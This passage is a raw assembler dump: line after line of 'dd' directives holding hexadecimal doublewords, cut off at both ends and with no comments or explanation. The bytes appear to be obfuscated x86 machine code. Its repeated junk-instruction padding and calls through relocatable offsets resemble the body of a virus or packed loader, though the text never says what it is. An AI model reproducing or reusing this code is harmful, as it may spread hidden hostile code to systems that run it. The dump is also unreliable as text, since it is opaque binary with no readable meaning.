890F90CBh, 5, 0DA8B6653h dd 5AB3505Ah, 8DD9B390h, 74B3285h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 89BD5E51h dd 7DD5FB3Ah, 130D9D8Bh, 89500607h, 958B2404h, 60705D5h dd 0A195FFh, 0B5890607h, 6070C85h, 30CC483h, 70BD595h dd 32858D06h, 0BB06074Bh, 274CE1Ah, 89E3B350h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0D18B27C3h, 26318D89h, 26A0607h, 8951D78Bh, 72C3D85h dd 95FF5B06h, 688574h, 385958Bh, 0F5610607h, 4B6585C7h dd 10607h, 850F0000h, 0Ah, 5E9h, 0A5037A00h, 535078A3h dd 48D0Fh, 0BB660000h, 895B01C5h, 6A2434h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 24AEF7C3h dd 5BF957EEh, 4B16B589h, 0EEBA0607h, 834CE966h, 719BDBDh dd 850F0106h, 3Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 9EC35040h, 80B1E2B6h, 19B529DCh, 8306072Fh dd 850F05F8h, 0Ch, 459D8Bh, 0B80607h, 0FC000000h, 1319BD83h dd 0F000607h, 4C84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 76A52C50h, 0B8F888D0h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 6DC35141h dd 8BCFB75Dh, 72F6195h, 6A6006h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 8795A4C3h, 8291402Dh dd 858BA3D7h, 6070E69h, 1DC1958Bh, 0C0830607h, 0ED958B02h dd 89060714h, 74B0E85h, 0D78B6606h, 45958960h, 0B060719h dd 713A59Dh, 0C66106h, 0E28156FFh, 62750743h, 9D23575Bh dd 6070A05h, 0CD85C65Ah, 53060709h, 45CE68F8h, 5250B5DEh dd 11E9h, 0D524AB00h, 12CFA0h, 5DB22064h, 7281E650h, 310F87EDh dd 5A505250h, 10B2310Fh, 585A585Ah, 0A240481h, 8B46D303h dd 99B5FFDAh, 0E806070Dh, 7, 8E19A5D1h, 519B5B8Ah, 1A5958Bh dd 5A5B0607h, 7038858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0FEC317C3h, 0BD3148F9h dd 9D017172h, 6070C6Dh, 2855BD89h, 12E90607h, 0A4000000h dd 0D25A0556h, 2C8061B3h, 2388A375h, 629F15BFh, 8AD0FF31h dd 698589F7h, 0F06070Dh, 688h, 95958900h, 8306071Eh, 72935BDh dd 850F0106h, 0F3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 98C35141h, 41560839h, 0CF4535D9h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 840F25F4h, 5, 0D8C38166h, 0C7E281A5h, 0C61AD8C8h, 709CD85h dd 8B524506h, 7134D9Dh, 14E85A06h, 0C0000000h, 47C6AE5h dd 22E3E081h, 2DE624A6h, 0BC4B97E9h, 0E905DF7Fh, 13h, 20A02002h dd 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 5B0E7C14h, 0E4AC0668h dd 81FE8AABh, 8CBC2404h, 8E82E7Bh, 27000000h, 0E11394AEh dd 8B0794B2h, 710619Dh, 9D8B5A06h, 60722F9h, 0D99B5FFh dd 8B660607h, 38858DD0h, 8B060A70h, 7030195h, 0FF68B606h dd 0E9B501D0h, 66060725h, 99E4C281h, 9529006Ah, 6072E35h dd 23A58D89h, 0D0FF0607h, 83D4C780h, 70715BDh, 850F0106h dd 0C8h, 0C858589h, 858B0607h, 6070E69h, 75E91BB7h, 8B000000h dd 718E995h, 1EB75006h, 0F240489h, 684h, 69953300h, 6A060705h dd 57006A14h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 8CFE8CE6h, 9FB7FFF6h, 95FFF48Ah, 6070D69h dd 3C19D8Bh, 6A580607h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 8E56C350h, 435CFC49h dd 958B37BCh, 6071155h, 0F003880h, 0FFFF8885h, 0DDBD89FFh dd 0C6060700h, 6A0100h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 1E0C78C3h, 4860Fh, 0BA660000h, 0BF0F69A9h dd 1CD280D1h, 83D08B61h, 70095BDh, 840F0006h, 56h, 28F59D09h dd 0FF6A0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 7AC35747h, 0E1F626A2h, 0BFF7BB3Fh, 880F5F46h, 6 dd 0BA9BD89h, 95FF0607h, 6070D69h, 6E9h, 0AFE7D400h, 0E906B56Eh dd 0FFFFFFB6h, 718AE281h, 85C74CF4h, 6070095h, 1, 0D58D8956h dd 5B060711h, 4B1A8589h, 958B0607h, 6070A35h, 0E8525090h dd 5, 1A8F279Ah, 8F0F3Dh, 5A000000h, 0E951310Fh, 10h, 0CED4C2D7h dd 0B7A34AB7h, 9A06C209h, 993FD52Dh, 50585A5Bh, 90D88B66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 58C35242h dd 8C4EE81Bh, 66CC8826h, 557DA81h, 0D08B6656h, 7E8605Ah dd 94000000h, 407C46A7h, 10E9E216h, 0E1000000h, 0C78DA9FAh dd 44985FFAh, 9CBADA34h, 5BF08DC8h, 8B66056Ah, 399589D3h dd 8D060705h, 74B3285h, 5802BB06h, 6650681Bh, 89696FBBh dd 800F2404h, 6, 2D119D8Bh, 858D0607h, 6074B22h, 5090DCB7h dd 0FD68B52h, 0DF8B6631h, 0E850585Ah, 0Bh, 0A1AA4040h dd 5CDA2EC2h, 0FEF30C1h, 38Fh, 0DA8B6600h, 0D78B905Bh dd 194995FFh, 95290607h, 6072C31h, 78678D8Dh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F8F5FC3h, 68Dh, 519D8900h, 0B2060732h, 74C00B5Eh, 32858D11h dd 5006074Bh, 8589D1FFh, 6074B50h, 85C70AEBh, 6074B50h dd 0FFFFFFFFh, 7E8h, 0E4C4A600h, 0C7203F66h, 295AFDB3h dd 71F9DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 2A5D9C45h, 0D980606Dh, 71BD29E6h dd 6106070Dh, 5E9h, 5F432D00h, 8961306Bh, 72F099Dh, 0CD85C606h dd 4D060709h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 51C35040h, 0FB4F9DE3h, 8D292EE8h, 60704E9h, 4E8h dd 3576A800h, 0D08B66A4h, 11E850h, 0A20A0000h, 27551C16h dd 0E6935530h, 6964A7D2h, 0E94A26AEh, 0Bh, 0B75ECBF2h dd 0D04B5BDAh, 5AA895F7h, 424448Bh, 0F892BA66h, 5250008Bh dd 48B0Fh, 0BB660000h, 310FA52Fh, 12890Fh, 0CE80000h, 0EF000000h dd 0FC396437h, 0A92AB12Ch, 5A5E555Dh, 4489585Ah, 0DE80424h dd 57000000h, 217ABEEBh, 40AEDBA0h, 2F77F1C8h, 1086F0BAh dd 6A585B0Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 84ACC357h, 81E2E6E3h, 0EA816656h dd 0EF8082B5h, 0F5B5FF15h, 66060710h, 8D4AF4BAh, 0A703885h dd 0EE906h, 4DB10000h, 8F093AC7h, 0DDF10E4Ch, 7EA853FEh dd 8D01D0FFh, 607108Dh, 5818589h, 0FE90607h, 11000000h dd 0EF32E06Ah, 3BB3CCD8h, 53139E76h, 9D89E26Fh, 6070C6Dh dd 9CD85C6h, 6A450607h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0C67EC355h, 9204BB84h dd 0B8683806h, 0BBC04338h, 6C0D24E6h, 0D1243481h, 664E3151h dd 0FFDD1BBBh, 70D99B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0E09D9A56h, 0B1EBD02Fh dd 8B665B2Fh, 0F880FDAh, 0E9000000h, 0Ah, 80F83E66h, 0E2C20D1Dh dd 0BA517645h, 5E568422h, 38858D5Bh, 6A060A70h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 6173C351h, 0C49958Bh, 0E3810607h, 67ED1F0Dh, 0D38BD0FFh dd 2BDD8589h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0B5A675C3h, 0E8FFD74Eh, 0Ch, 20B0CA94h dd 93C07D0Eh, 3584CEA3h, 0D0A6BB66h, 0FD28B5Bh, 8C66D0B7h dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0FFD56DCBh, 53BA7BCFh, 0CE9FD24h, 67000000h dd 0F5F4FBBBh, 0DB7DEBACh, 0F6E95DD5h, 840F04C1h, 20Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E0C35040h dd 85894A92h, 60714B1h, 123E9h, 6870F00h, 23000000h, 70C2D9Dh dd 0F1B58B06h, 57060728h, 0AE8h, 0D2FA7000h, 5009B593h dd 81A035F2h, 0DBCCEECAh, 815A5B2Eh, 1180C6h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 66A89E7Dh, 9509D38Bh, 60713DDh, 0A85BD83h dd 0F000607h, 0F85h, 0FE8A5600h, 0A2E95Bh, 9D8B0000h, 60729F5h dd 0F003E83h, 9384h, 68B0F00h, 31000000h, 705798Dh, 6A6006h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 2F3081C3h, 0BD8941E0h, 60720DDh, 14E9146Ah, 0A2000000h dd 4C7A6B79h, 7B1FBB8Bh, 922FB26Ah, 7240B8EFh, 0FF753296h dd 70D6995h, 61D18B06h, 284D958Bh, 95E90607h, 6AFFFFFFh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 2EF6C357h, 5D2AC86h, 723EA09Eh, 7AEAF281h dd 958B33AFh, 6070DB9h, 106C7h, 9E90000h, 7C000000h, 0F4A230DEh dd 17F9C712h, 4B1ABD83h, 0F050607h, 0B385h, 4BC38100h dd 8B7E4313h, 72BDDB5h, 259D2906h, 0B9060729h, 64h, 0DE8h dd 0FEF7B300h, 26678CC5h, 27D266A1h, 95897DB7h, 6071009h dd 0E83E805Bh, 46840Fh, 9D030000h, 60714F5h, 48D38166h dd 46E92Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0CDE644C3h, 11E90167h, 8F000000h dd 9682F6B9h, 48252802h, 2E69E46Dh, 0B38893F7h, 0C2057E80h dd 22840Fh, 95890000h, 607261Dh, 65952346h, 49060723h dd 0FF93850Fh, 5352FFFFh, 5AD0B70Fh, 0AE95Ah, 0D48A0000h dd 1FBDB589h, 4EB30607h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0E7801ADDh, 9B589CBh dd 8306072Fh, 70FD1BDh, 840F0006h, 12Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 55C35747h, 1C9FAFDEh dd 0DE8B668Ch, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0C6D18B0Dh, 709CD85h dd 0E9605406h, 6, 0B88FB2Fh, 61FC73A6h, 0C0D98068h, 8B5250D9h dd 52310FD8h, 5A5BFC8Ah, 24348158h, 268E6774h, 0B5FFC8B6h dd 6070D99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0C0C35040h, 0A9359522h, 8F4D8916h, 8DD7B70Fh, 0A703885h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 9E833h, 65420000h, 76DE8A23h, 667E18BBh dd 5BB270BBh, 0C830Fh, 8A0F0000h, 6, 20D99D8Bh, 0D0FF0607h dd 6ADE8Bh, 0F23294BAh, 0D1B5FF6Dh, 6A06070Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 66AAC356h, 4E6DBAD5h, 0D0DD6BFh, 3FBAD0FFh, 662D79F3h dd 9D79E381h, 85C7F961h, 6070E29h, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 8BC35545h, 0F4FC930h, 68Ch dd 95B50100h, 29060707h, 71E2985h, 830F6006h, 6, 0B7D9D8Bh dd 0E4680607h, 0B20E892Dh, 243481E4h, 0E892D64h, 4810Fh dd 56570000h, 8A0F5B5Bh, 6, 0A35958Bh, 0FF6A0607h, 89195FFh dd 9D8B0607h, 6070A25h, 5840F61h, 66000000h, 0B0F6CB81h dd 17D3BB50h, 48919E7h, 6840F24h, 33000000h, 7236D95h dd 0DD858B06h, 6A060701h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 3477C353h, 0C00BFCAFh dd 3C840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 9F1B7DC3h, 651462E8h, 0A9BA5685h dd 5A565B0Bh, 95FF16B6h, 6071245h, 5E9h, 1CFE9C00h, 85C74FBDh dd 6071DADh, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 8C35747h, 98859DCh, 0CA8166CDh, 0BD839435h, 6070C31h dd 2E840F00h, 8B000000h, 72F919Dh, 7995FF06h, 6A060718h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 33C4C353h, 0DF80675Dh, 0F5BD8347h, 6072Ah dd 56840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0E96E6C3h, 0A99D335Bh, 8A06070Ah dd 0D195FFF9h, 6A06070Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0A397C355h, 0A3B296F2h dd 9D2359DFh, 6071AE9h, 2199BD83h, 0F000607h, 5484h, 0DEBB6600h dd 49DA8144h, 835B28FAh, 70529BDh, 850F0006h, 3Dh, 1861958Bh dd 0BA660607h, 95FFB8E8h, 6071421h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0D3C35242h, 49178EFCh, 634505Bh dd 19958B94h, 0B6060720h, 59BD83D5h, 60732h, 5B840Fh, 12E80000h dd 4F000000h, 802EE8FBh, 0A3DAAFB3h, 6637247h, 0EB699B99h dd 619D8B98h, 5B060703h, 1F7D8581h, 40030607h, 9E90000h dd 0 dd 0A70EEAA6h, 0AABD9910h, 2F818581h, 40030607h, 10E90000h dd 53000000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h, 2B94D2B5h dd 728B19Dh, 89310F06h, 7262195h, 8D8DF506h, 6075BC5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7BC35242h dd 0BE845930h, 0C5EFD5DDh, 0D9958BA3h, 8B060712h, 72A9D9Dh dd 0B018906h, 711819Dh, 6AC23306h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6BB0C356h dd 0A87B1583h, 13DD84B6h, 7F705ABBh, 4418946h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 79C35242h, 0D2514B3Ah dd 0BDF9CDB8h, 310FF84Ah, 9D8BCEB2h, 6071A31h, 5BDD8D8Dh dd 0F38A0607h, 9D8B0189h, 6070319h, 6AC233h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 9E5E9C3h dd 8958A120h, 7140DB5h, 699D8B06h, 8906071Bh, 0DE90441h dd 10000000h, 0ACCF5A40h, 43809EE5h, 0BEC35740h, 25E5BD83h dd 0F000607h, 3284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 2A7C5033h, 515116B6h dd 4818D89h, 5A5A0607h, 22A595FFh, 83F90607h, 72C51BDh dd 850F0106h, 6Eh, 6699D8Bh, 63E90607h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 6384C352h, 8B2723B0h, 72AC595h, 0D38B6606h, 5D4FB58Bh dd 6C70607h, 0 dd 5A9BB58Bh, 6C70607h, 0 dd 57006ACFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0B2B3B5DDh, 0BD83F9FEh, 6071DADh, 5840F00h dd 81000001h, 712FF2CBh, 3DBD8376h, 106072Ah, 0DF850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0BFD91C3h, 0E8D8B85h, 6A06074Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0DB26C357h, 1AEB8166h, 1C6CDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0B7C35747h, 49A11354h, 8160617Dh dd 0B19EA2D2h, 0B9BA663Bh, 4E8C9h, 800000h, 60520000h dd 60D98B66h, 505B6161h, 448BFA8Ah, 0F38A0424h, 4DB2008Bh dd 4244489h, 8B58DCB2h, 720D195h, 66FF6A06h, 0FF98E4BAh dd 7089195h, 61DE8B06h, 0A4DB8166h, 71953322h, 0FF06070Ah dd 707D195h, 8BD88A06h, 74B0E8Dh, 6830F06h, 89000000h dd 72F018Dh, 8901FE06h, 7302D8Dh, 85BD8306h, 1060713h dd 6850Fh, 958B0000h, 6070D95h, 9589C08Bh, 60711A5h, 1ACDBD83h dd 75000607h, 35BD8309h, 60711h, 53501A74h, 858BC08Bh dd 6071F7Dh, 1F7D8589h, 9D8D0607h, 609ADC0h, 585BD3FFh dd 1135BD83h, 74000607h, 8B535018h, 71F7D85h, 7D858906h dd 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 18C0F58h, 0FC000000h dd 953111B2h, 6071131h, 0E380C08Bh, 0DE68061h, 1DADBD83h dd 0F000607h, 1A85h, 0CB816600h, 0BD83F607h, 60732A1h dd 8840F00h, 0F000000h, 282h, 83F38A00h, 71DADBDh, 840F0006h dd 67h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch dd 81C35343h, 76A44DBCh, 151B8331h, 7EEA8166h, 0C9BD83A2h dd 6070Dh, 31840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0D8E53EC3h, 9CC38142h dd 29330F3Fh, 704619Dh, 3D9D0906h, 83060715h, 71DADBDh dd 840F0006h, 53h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0F0C35747h, 0FBF88F75h, 83DE8B66h, 70DC9BDh dd 840F0006h, 23h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 3C35747h, 0F99D8970h, 83060710h, 71DADBDh dd 840F0006h, 27h, 20F1BD89h, 0BD830607h, 6071065h, 14840F00h dd 0E8000000h, 6, 0E0Dh, 89516202h, 7332185h, 835B5A06h dd 71DADBDh, 840F0006h, 76h, 0BD833FB3h, 6071419h, 67840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 3929C357h, 5DF3674Fh, 470679A7h dd 2D8595FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 60CBFEC3h, 14E9h, 57E6BE00h, 0E3E22819h dd 0ADD73CA4h, 4F810D02h, 155461BFh, 61605626h, 0C08B615Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7BC35141h dd 1D1D90C2h, 0DA98F548h, 0CDBD8326h, 6071Ah, 0BD830975h dd 6071135h, 501A7400h, 8BC08B53h, 72F8185h, 81858906h dd 8D06072Fh, 9AE279Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501874h dd 2F81858Bh, 85890607h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h dd 0DE8585Bh, 4C000000h, 4E647691h, 1C134150h, 8260CA0h dd 68B0Fh, 8B0F0000h, 0 dd 0FDDB805Ah, 0BF0FC08Bh, 0D0BF0FD8h, 1DADBD83h, 0F000607h dd 48E84h, 0BE800h, 2B6C0000h, 0C1BF6FC6h, 50F725B1h, 0B6BB6690h dd 0BD835B7Eh, 6072935h, 25840F02h, 0E9000000h, 0Dh, 93624B6h dd 0A02CBD53h, 7E045FCh, 51BD83C0h, 106072Ch, 6850Fh, 9D890000h dd 6072B35h, 2AE5BD83h, 0F000607h, 0EA84h, 3F75BB00h, 0BA604283h dd 289FC73Dh, 4B0E8D8Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 860C00C3h, 2CA18D31h dd 81660607h, 0FEC6ADC2h, 50006A01h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0CA5D7C99h dd 0A35720EFh, 6A5958Bh, 0E6800607h, 0C71C68BAh, 800F41B4h dd 17h, 6AEABA60h, 0BE92462h, 0BF000000h, 0A74F794Eh, 50D2791Bh dd 8161A025h, 0C79C2434h, 0D78A41B4h, 6AFF6Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 8D62A3C3h, 0FF20C612h, 7089195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BB3B206h dd 710799Dh, 39958B06h, 61060704h, 60D3B70Fh, 572119BBh dd 0E8D8B0Eh, 6A06074Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0F514C352h, 8380DECCh dd 0FEA15158h, 50006A01h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 89B1A486h, 708199Dh, 0CD950906h dd 0E8060701h, 4, 80h, 7E952h, 81F0000h, 2E2C43CCh, 8A505A9Ch dd 24448BF3h, 0D78B6604h, 5A50008Bh, 4244489h, 0AE8h, 966BB500h dd 0E580F0F9h, 51E6052Ah, 0DF03BA66h, 0F585A5Ah, 487h dd 51BA6600h, 0FFF6AB3h, 95FFD1B7h, 6070891h, 6B6BBB66h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0D2A77098h, 380F4C3Eh, 239DB529h, 0BD8D0607h dd 6070F2Dh, 8BD9BF0Fh, 9D891C4Fh, 6071DC1h, 8D89016Ah dd 6071B5Dh, 9E9h, 938C1100h, 0B21D4FCFh, 56502DB8h, 68E0Fh dd 8C0F0000h, 0 dd 240C895Bh, 239DBD89h, 858D0607h, 60A34A8h, 0FF5EE380h dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 6D9D8BF0h, 0E9060721h, 10h, 814A2D81h, 0AD48E5EEh dd 0B6C30FFDh, 8E33DF3Dh, 6A204F8Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 584CC351h dd 5F20010h, 451958Bh, 958B0607h, 6071F99h, 9533036Ah dd 6072285h, 88E0F91h, 0F000000h, 282h, 505B5700h, 8B91D38Bh dd 718F595h, 8D93B606h, 0A34A885h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0A2977ABCh dd 6AD0FF21h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 3B0FC350h, 74B66AD2h, 0EE9h, 4D535900h dd 0ED9637C1h, 623DAB63h, 8DDD4D17h, 70F2DBDh, 6800F06h dd 3000000h, 72B6195h, 1C4F8B06h, 0AC5958Bh, 16A0607h dd 13399D8Bh, 0BA910607h, 74EC8B31h, 91F88A50h, 0A2F14FBAh dd 0A8858D54h, 0F060A34h, 689h, 11858900h, 0FF06070Ah dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0CFCD5E61h, 0E916C959h, 4F8BA86Ah, 36AF920h dd 6850Fh, 85890000h, 60720ADh, 17830F50h, 0F000000h, 1181h dd 0CE900h, 0C35D0000h, 303C2F7Ch, 0C01A6810h, 0C89C956h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0CD33346Bh, 2D918D29h, 858D0607h, 60A34A8h dd 0D0FFD08Ah, 0D09CBA66h, 4B0E8D8Bh, 0BF0F0607h, 0F01FEDFh dd 488h, 8BBB6600h, 0E858BCFh, 8A06074Bh, 8B00FED9h, 719C195h dd 6A016A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 3182C351h, 0C197EF77h, 6199589h dd 57680607h, 0BBB287FAh, 7BF3090Dh, 0A8243481h, 0F54D7865h dd 34B2858Dh, 0BD89060Ah, 607217Dh, 83F8D0FFh, 732A1BDh dd 840F0006h, 0C9h, 0C16BB50h, 805B1E1Fh, 0BD83D6CFh, 60719BDh dd 0B2850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0B964C350h, 0B529E4ADh dd 6072B35h, 34BC8D8Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 3A6639C3h, 36A66A2h dd 7E8h, 1865A900h, 4CBCCAF8h, 5AFCD280h, 6A016Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 232F9DC3h, 70AB995h, 89D1FF06h, 728618Dh, 66016A06h dd 8B894BBBh, 71F8595h, 0F016A06h, 68Fh, 299D8B00h, 0FF060712h dd 9CE8F9D1h, 8BFA545Eh, 719AD95h, 89206A06h, 71861B5h dd 29FF6A06h, 723A585h, 9195FF06h, 66060708h, 0B8D68Bh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 9F81C350h, 5C23F73Eh, 0B752A7B8h dd 0C00B5A22h, 3D840Fh, 80510000h, 835B1FCEh, 71E3DBDh dd 840F0006h, 2Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 4BC35545h, 94DCD578h, 0FF527F19h, 72B0595h dd 8BF58A06h, 70E6985h, 39958B06h, 0C6060719h, 0DABA0000h dd 5849D9CCh, 1699501h, 66F80607h, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 5D420CC3h dd 9A98B520h, 0C1F6578Fh, 51840F04h, 8B000000h, 702DD95h dd 46E906h, 0EF800000h, 0F1B58BDBh, 6A060728h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 4CC9C356h, 0A36CDE00h, 0D3808631h, 80C6814Bh, 8B000011h dd 7030995h, 6C706h, 0BB000000h, 30C12076h, 55B5895Eh dd 0E9060732h, 13h, 0F6818263h, 822255Ah, 4FEE4B19h, 27411CC2h dd 835482FCh, 840F00F8h, 0ADAh, 0A358D31h, 7E90607h, 1D000000h dd 13B8B8F7h, 0F8836685h, 53850F01h, 0E8000001h, 11h, 1AF25F14h dd 0DCB239C2h, 0C5DF3F6Bh, 5EF4CED3h, 0B85BF8EAh, 0 dd 0CE9h, 82691000h, 0F4F5AC3Fh, 1F313A1Fh, 0C00BF551h dd 0C6840Fh, 9D8B0000h, 6073029h, 12419D8Bh, 0F8830607h dd 0C6840F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 9ADFC353h, 11E95Ch dd 71040000h, 0C7D70689h, 0F2D38964h, 34426D66h, 839F9A88h dd 840F03F8h, 37h, 14E9h, 11682D00h, 36EC5948h, 0F75116A1h dd 0D6963EDCh, 0C6B190A6h, 0B805h, 850F0000h, 6, 0AC5958Bh dd 0BD8D0607h, 5B7974h, 66E7FFF5h, 0B8257FBAh, 1, 18C0Fh dd 8DF50000h, 5B7974BDh, 0C29EBB00h, 0BF0F7C38h, 6AE7FFD3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 2A5BC352h, 7482DCBBh, 419ABD8Dh, 95030607h dd 60719E5h, 2DFE9h, 6BA6600h, 6985C7B4h, 506074Bh, 0F000000h dd 582h, 357FBA00h, 5B83786h, 0F000000h, 85h, 8F6E900h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0F88349C3h, 0E5850F02h, 89000000h, 732ADBDh dd 3850F06h, 80000000h, 0B8B0DEh, 0BB000000h, 4A12C3F7h dd 840FC00Bh, 7Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0AEC35040h, 1F88372h, 0FF6F840Fh, 0BF0FFFFFh dd 3F883DBh, 0FF11840Fh, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 9C9E2C3h, 4A89AD7Ch dd 5A59D8Bh, 0CF800607h, 819589A6h, 2B060729h, 0A0BB66C0h dd 74BD8DA4h, 53005B79h, 5BD8BF0Fh, 8166E7FFh, 8D0A4DF2h dd 74392BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0B2802725h, 56432EFDh, 0D58AB860h dd 